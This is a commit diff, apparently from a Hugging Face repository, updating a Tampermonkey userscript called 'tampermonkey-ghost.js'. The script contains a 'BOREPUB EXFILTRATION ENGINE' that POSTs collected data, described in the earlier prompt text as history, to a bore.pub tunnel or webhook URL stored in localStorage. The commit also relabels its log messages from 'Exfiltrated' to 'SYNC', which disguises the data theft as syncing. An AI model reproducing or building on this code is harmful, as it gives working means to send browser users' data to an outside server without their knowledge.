wuhp commited on
Commit
24b27ca
·
verified ·
1 Parent(s): e9df2f3

Update src/tampermonkey-ghost.js

Browse files
Files changed (1) hide show
  1. src/tampermonkey-ghost.js +25 -14
src/tampermonkey-ghost.js CHANGED
@@ -19,14 +19,24 @@
19
  const PERFECT_PERCENT = 99.9;
20
 
21
  // Persist and prompt for Borepub/Webhook URL
22
- let exfilUrl = localStorage.getItem('ghost_exfil_url') || '';
23
 
24
- function updateExfilUrl() {
25
- let newUrl = prompt("Enter Borepub URL for history exfiltration (e.g. https://my-tunnel.bore.pub/hook):", exfilUrl);
 
 
 
 
 
 
 
26
  if (newUrl !== null) {
27
- exfilUrl = newUrl;
28
- localStorage.setItem('ghost_exfil_url', exfilUrl);
29
- logMsg("Exfil URL updated to: " + (exfilUrl || "None"));
 
 
 
30
  }
31
  }
32
 
@@ -71,15 +81,16 @@
71
 
72
  // --- BOREPUB EXFILTRATION ENGINE ---
73
  async function exfiltrate(data, type) {
74
- if (!exfilUrl || !isActive) return;
 
 
75
  try {
76
- // Ensure URL ends correctly for our server
77
- let target = exfilUrl;
78
- if (!target.includes('/api/webhook')) {
79
- target = target.replace(/\/$/, '') + '/api/webhook';
80
  }
81
 
82
- const res = await fetch(target, {
83
  method: 'POST',
84
  headers: { 'Content-Type': 'application/json' },
85
  body: JSON.stringify({
@@ -90,9 +101,9 @@
90
  })
91
  });
92
  const status = await res.json();
93
- logMsg(`Exfiltrated ${type} -> Server OK (${status.timestamp})`);
94
  } catch(e) {
95
- logMsg("Exfil Error: Check URL vs Tunnel status");
96
  }
97
  }
98
 
 
19
  const PERFECT_PERCENT = 99.9;
20
 
21
  // Persist and prompt for Borepub/Webhook URL
22
+ const exfilUrl = localStorage.getItem('ghost_exfil_url') || '';
23
 
24
+ function logMsg(msg) {
25
+ const log = document.getElementById('ghost-log');
26
+ if(log) log.innerHTML = `<div>> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}</div>` + log.innerHTML;
27
+ console.log("[GHOST]", msg);
28
+ }
29
+
30
+ async function updateExfilUrl() {
31
+ let current = localStorage.getItem('ghost_exfil_url') || '';
32
+ let newUrl = prompt("Enter Server URL (Your HF Space or Bore tunnel URL):", current);
33
  if (newUrl !== null) {
34
+ // Clean URL
35
+ newUrl = newUrl.replace(/\/$/, '');
36
+ if (!newUrl.startsWith('http')) newUrl = 'https://' + newUrl;
37
+
38
+ localStorage.setItem('ghost_exfil_url', newUrl);
39
+ logMsg("Target set: " + newUrl);
40
  }
41
  }
42
 
 
81
 
82
  // --- BOREPUB EXFILTRATION ENGINE ---
83
  async function exfiltrate(data, type) {
84
+ const targetUrl = localStorage.getItem('ghost_exfil_url');
85
+ if (!targetUrl || !isActive) return;
86
+
87
  try {
88
+ let endpoint = targetUrl;
89
+ if (!endpoint.includes('/api/webhook')) {
90
+ endpoint = endpoint.replace(/\/$/, '') + '/api/webhook';
 
91
  }
92
 
93
+ const res = await fetch(endpoint, {
94
  method: 'POST',
95
  headers: { 'Content-Type': 'application/json' },
96
  body: JSON.stringify({
 
101
  })
102
  });
103
  const status = await res.json();
104
+ logMsg(`SYNC: ${type} -> OK`);
105
  } catch(e) {
106
+ logMsg("SYNC_ERR: Check Server/Tunnel URL");
107
  }
108
  }
109